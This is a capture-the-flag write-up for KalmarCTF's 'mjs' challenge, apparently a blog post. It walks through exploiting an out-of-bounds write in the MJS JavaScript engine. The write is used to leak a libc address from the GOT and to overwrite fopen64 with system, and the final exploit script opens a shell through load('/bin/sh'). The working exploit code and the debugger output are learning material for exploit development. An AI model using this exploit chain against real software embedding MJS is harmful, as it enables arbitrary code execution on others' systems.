Hacking Toddler Js Engine

CTF · Mar 15, 2023 · ~10 min

Introduction

This article is a writeup of a challenge from KalmarCTF called mjs. The challenge is to hack a javascript engine and get the flag. The challenge is easy, but I think it’s still a good challenge to learn about getting started with javascript engine.

What is MJS ?

MJS is a javascript engine written in C. The source code is available here. The engine is a very simple and had few builtin function. for example :

Challenge

The challenge is to get Remote Code Execution (RCE) by giving malicious JS to engine. But there’s a problem, the CTF Author apply patch to disable some builtin function. The builtin function that disabled are :

These function is used to call C function from JS. So we can’t use it to get RCE.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
diff --git a/Makefile b/Makefile
index d265d7e..d495e84 100644
--- a/Makefile
+++ b/Makefile
@@ -5,6 +5,7 @@ BUILD_DIR = build
 RD ?= docker run -v $(CURDIR):$(CURDIR) --user=$(shell id -u):$(shell id -g) -w $(CURDIR)
 DOCKER_GCC ?= $(RD) mgos/gcc
 DOCKER_CLANG ?= $(RD) mgos/clang
+CC = clang
 
 include $(SRCPATH)/mjs_sources.mk
 
@@ -81,7 +82,7 @@ CFLAGS += $(COMMON_CFLAGS)
 # NOTE: we compile straight from sources, not from the single amalgamated file,
 # in order to make sure that all sources include the right headers
 $(PROG): $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) $(TOP_HEADERS) $(BUILD_DIR)
-	$(DOCKER_CLANG) clang $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
+	$(CC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
 
 $(BUILD_DIR):
 	mkdir -p $@
diff --git a/src/mjs_builtin.c b/src/mjs_builtin.c
index 6f51e08..36c2b43 100644
--- a/src/mjs_builtin.c
+++ b/src/mjs_builtin.c
@@ -137,12 +137,12 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_load));
   mjs_set(mjs, obj, "print", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_print));
-  mjs_set(mjs, obj, "ffi", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call));
-  mjs_set(mjs, obj, "ffi_cb_free", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free));
-  mjs_set(mjs, obj, "mkstr", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr));
+  /* mjs_set(mjs, obj, "ffi", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call)); */
+  /* mjs_set(mjs, obj, "ffi_cb_free", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free)); */
+  /* mjs_set(mjs, obj, "mkstr", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr)); */
   mjs_set(mjs, obj, "getMJS", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_get_mjs));
   mjs_set(mjs, obj, "die", ~0,
@@ -151,8 +151,8 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_do_gc));
   mjs_set(mjs, obj, "chr", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_chr));
-  mjs_set(mjs, obj, "s2o", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o));
+  /* mjs_set(mjs, obj, "s2o", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o)); */
 
   /*
    * Populate JSON.parse() and JSON.stringify()
diff --git a/src/mjs_exec.c b/src/mjs_exec.c
index bd48fea..24c2c7c 100644
--- a/src/mjs_exec.c
+++ b/src/mjs_exec.c
@@ -835,7 +835,7 @@ MJS_PRIVATE mjs_err_t mjs_execute(struct mjs *mjs, size_t off, mjs_val_t *res) {
 
           *func = MJS_UNDEFINED;  // Return value
           // LOG(LL_VERBOSE_DEBUG, ("CALLING  %d", i + 1));
-        } else if (mjs_is_string(*func) || mjs_is_ffi_sig(*func)) {
+        } else if (mjs_is_ffi_sig(*func)) {
           /* Call ffi-ed function */
 
           call_stack_push_frame(mjs, bp.start_idx + i, retval_stack_idx);

Write What Where

By doing simple issue search, we can find a Buffer Overflow Issue in the repository.

1
(JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));

If we look into the payload, it substracting 10900 from the JSON.parse function. It doesnt make sense to me, but it is a valid javascript code. By running the code, it will trigger segmentation fault and it verified that the bug its still exist.

1
2
➜  build git:(master) ✗ ./mjs_compiled writeup.js 
[1]    19023 segmentation fault (core dumped)  ./mjs_compiled writeup.js

I tried to simplified the payload and the simple version to trigger bug is

1
JSON.parse[-1] = 1;

SIGSEGV
SIGSEGV

If we look at the debugger, it tries to copy the 1 value into address JSON.parse[-1].

What we got here is a write-what-where primitive. We can write any value to any address.

Information Leak

Leaking address is also abusing JSON.parse function.

As you can see it leaking some number. If we want to leak specific address, we need to calculate the base offset first.

From the screenshot above, we knew that the base address is started at 0x555555554000. We can calculate the offset by using the following formula.

1
2
pwndbg> x (ptr + ikey) - 0x555555554000
0xfe3f:	Cannot access memory at address 0xfe3f

We got the base binary address at -0xfe3f. Lets verify by using the following code.

1
JSON.parse[-0xfe3f] = 1;
1
2
3
4
5
pwndbg> x ptr+ikey
0x555555554001:	0x02464c45
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555556000 r--p     2000 0      /home/syahrul/CTF/KalmarCTF/pwn/browser/build/mjs_compiled

Its seem we need to add 1 byte to the offset for the correct address.

1
JSON.parse[-0xfe40] = 1;
1
2
3
4
5
pwndbg> x ptr+ikey
0x555555554000:	0x464c457f
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555556000 r--p     2000 0      /home/syahrul/CTF/KalmarCTF/pwn/browser/build/mjs_compiled

Now we need to find pointer that point to libc address. We can easily find it by using Global Offset Table (GOT) address.

If you look at the line of got, the address 0x555555580018 which is free@GLIBC_2.2.5 is pointing to 0x7ffff7ca5460 inside libc.

1
2
3
pwndbg> x 0x555555580018 - 0x555555554000
0x2c018:	Cannot access memory at address 0x2c018
pwndbg> 

0x2c018 is offset from the base address.

Lets validate by leaking those address.

1
2
3
let base = -0xfe40;
let free = 0x2c018;
JSON.parse[base + free];

If we increase the address, we got leak from some adress inside libc. When we convert it to hex, you will saw the pattern of libc address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(96)
'0x60'
>>> hex(84)
'0x54'
>>> hex(202)
'0xca'
>>> hex(247)
'0xf7'

We leaking the free libc address byte by byte.

Exploitation

Since we got everthing we need to exploit the binary, we can start to exploit it.

Leak libc address

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
let base = -0xfe40;
let free_got = 0x2c018;
let free_addr = "0x";
let hexChars = "0123456789abcdef";

function intToHex(num) {
  let hex = "";
  while (num > 0) {
    let remainder = num % 16;
    hex = hexChars[remainder] + hex;
    num = (num - remainder) / 16;
  }

  if (hex.at(1) === undefined){
    hex = "0" + hex;
  }
  return hex;
}
for (let i = 5; i >= 0; i--) {
  free_addr += intToHex(JSON.parse[base+free_got+i])
}
print("free_addr: " , free_addr);
1
2
3
4
5
6
7
pwndbg> r do.js
Starting program: /home/syahrul/CTF/KalmarCTF/pwn/browser/build/mjs_compiled do.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
free_addr:  0x7ffff7ca5460 
undefined
[Inferior 1 (process 6668) exited normally]

Overwrite fopen64@GLIBC_2.2.5

Why we need to overwrite fopen64@GLIBC_2.2.5? Argument from the fopen64 function is a pointer to a string that contains the name of the file to be opened. It used by load() function to load the file. So if we change the fopen64@GLIBC_2.2.5 to system@GLIBC_2.2.5, we can execute any command we want.

Final Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
let base = -0xfe40;
let free_got = 0x2c018;
let free_addr = "0x";
let hexChars = "0123456789abcdef";
let fopen64_got = 0x2c0f0;

function intToHex(num) {
  let hex = "";

  while (num > 0) {
    let remainder = num % 16;
    hex = hexChars[remainder] + hex;
    num = (num - remainder) / 16;
  }

  if (hex.at(1) === undefined){
    hex = "0" + hex;
  }
  return hex;
}

for (let i = 5; i >= 0; i--) {
  free_addr += intToHex(JSON.parse[base+free_got+i])
}

function stringToInt(str) {
  let num = 0;

  for (let i = 2; i < 14; i++) {
    let char = str.at(i);
    let charValue = hexChars.indexOf(chr(char));
    num = num * 16 + charValue;
  }
  return num;
}

function toHex(num){
  let hex = "";

  while (num > 0) {
    let remainder = num % 16;
    hex = hexChars[remainder] + hex;
    num = (num - remainder) / 16;
  }

  if (hex.at(1) === undefined){
    hex = "0" + hex;
  }
  return hex;
};


function hexToByte(hexStr) {
  let byte = 0;
  for (let i = 0; i < hexStr.length; i++) {
    let digit = hexStr.at(i);
    if (digit >= 48 && digit <= 57) { 
      digit -= 48;
    } else if (digit >= 65 && digit <= 70) {  
      digit -= 55;
    } else if (digit >= 97 && digit <= 102) {  
      digit -= 87;
    } else {
      die("Invalid hexadecimal character");
    }
    byte = byte * 16 + digit;
  }
  return byte;
}



function hack(hexStr) {
  let iter = 0;
  for (let i = 0; i < hexStr.length; i += 2) {
    let hexPair = hexStr.slice(i, i + 2);
    JSON.parse[base+fopen64_got-iter + 5] = hexToByte(hexPair);
    iter++;
  }
};


let libc = stringToInt(free_addr) - 676960;
print("free_addr: " , free_addr);
print("libc: " , toHex(libc));
print("system: " , toHex(libc+0x50d60));
let rip = libc + 0x50d60;
hack(toHex(rip));

load("/bin/sh")
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
➜  build git:(master) ✗ ./mjs_compiled do.js
free_addr:  0x7f44060a5460 
libc:  7f4406000000 
system:  7f4406050d60 
$ ls
1.js  do.js  dump  exploit.py  hack.js	leak.js  mjs_compiled  plt  poc1.js  poc2.js  poc3.js  poc.js  pwn.js  writeup.js
$ ud
/bin/sh: 2: ud: not found
$ id
uid=1000(syahrul) gid=1000(syahrul) groups=1000(syahrul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),140(libvirt),999(docker)
$ pwd
/home/syahrul/CTF/KalmarCTF/pwn/browser/build
$ 
· · ·

Love This Content?

Any kind of supports is greatly appreciated!

Drop Your Comment Below